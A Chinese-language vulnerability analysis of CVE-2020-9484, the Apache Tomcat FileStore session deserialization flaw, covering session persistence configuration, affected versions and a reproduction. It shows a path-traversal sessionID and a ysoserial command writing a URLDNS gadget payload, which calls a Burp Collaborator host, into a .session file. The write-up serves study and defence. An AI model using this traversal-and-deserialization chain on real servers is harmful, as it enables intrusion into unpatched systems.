跳转至

(CVE-2020-9484)Tomcat session反序列化漏洞

一、漏洞简介

对 于一个企业级应用而言,Session对象的管理十分重要。Sessio对象的信息一般情况下置于服务器的内存中,当服务器由于故障重启,或应用重新加载 时候,此时的Session信息将全部丢失。为了避免这样的情况,在某些场合可以将服务器的Session数据存放在文件系统或数据库中,这样的操作称为 Session对象的持久化。Session对象在持久化时,存放在其中的对象以序列化的形式存放,这就是为什么一般存放在Session中的数据需要实 现可序列化接口(java.io.Serializable)的原因了。当一个Session开始时,Servlet容器会为Session创建一个HttpSession对象。Servlet容器在某些情况下把这些 HttpSession对象从内存中转移到文件系统或数据库中,在需要访问 HttpSession信息时再把它们加载到内存中。

实现

要完成session持久化,存放在session里的对象必须要实现java.io.Serializable 接口。Session的持久化是由Session Manager来管理的。Tomcat提供了两个实现类:

  • org.apache.catalina.session.StandardManager (默认)
  • org.apache.catalina.session.PersistentManager

配置

存储在本地文件中需要配置conf目录里的**context.xml**文件在节点下添加如下节点:

<Manager className="org.apache.catalina.session.PersistentManager" 
    debug="0"
    saveOnRestart="false"
    maxActiveSession="-1"
    minIdleSwap="-1"
    maxIdleSwap="-1"
    maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory="../session" />
</Manager>

二、漏洞影响

Tomca \<= 9.0.34Tomca \<= 8.5.54Tomca \<= 7.0.103

三、复现过程

漏洞分析

一般文件存储session的问题就是sessionID没有做过滤,允许跳出路径,让session文件变成攻击者控制的文件,导致漏洞产生,这次的session漏洞也不例外

我们选择了session的存储为FileStore,所以在FileStore类的load方法处设置断点

在servlet中创建一个很简单的java session

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Properties properties = new Properties();
        properties.setProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK", "true");
        System.setProperties(properties);
        String res = System.getProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK");
        System.out.println(res);
        HttpSession httpSession = req.getSession();
        httpSession.setAttribute("username", "admin");
        resp.getWriter().println("success");
    }

现在我们的漏洞环境就搭建好了,设置tomcat启动即可

设置sessionid

我们设置sessionid存在目录穿越符号

1.png

刷新页面,被断点拦截

2.png

第一步先是获取到session文件

3.png

可以看到,我们的sessionID后面会添加一个.session后缀,这也就导致我们需要一个可控文件名的文件上传,这一点就比较难以满足

但是可以看出来,不需要准确知道确定的相对录路径,一直跳到根目录即可,但是因为sessionid有长度限制的,所以还是有一点限制

反序列化

这个时候,我们可以跳到任意目录了,我们在tmp下面生成了URLDNS的ysoserial,来做dns查询

java -jar ysoserial.jar URLDNS "http://lsh9lo0bpipjrb0kp98cn4khb8h15q.burpcollaborator.net" > /tmp/test.session

4.png

只要这个session文件存在,就会将文件内容读取出来,并且创建ObjectInputStream,最后调用了readObjectData

熟悉java反序列化的话这个地方一眼就能看出来有反序列化的问题

我们继续进入readObjectData

5.png

调用readObject,触发反序列化

利用截图

使用URLDNS,成功获取到DNS请求

6.png

漏洞利用条件较为苛刻

参考链接

https://xz.aliyun.com/t/7803#toc-1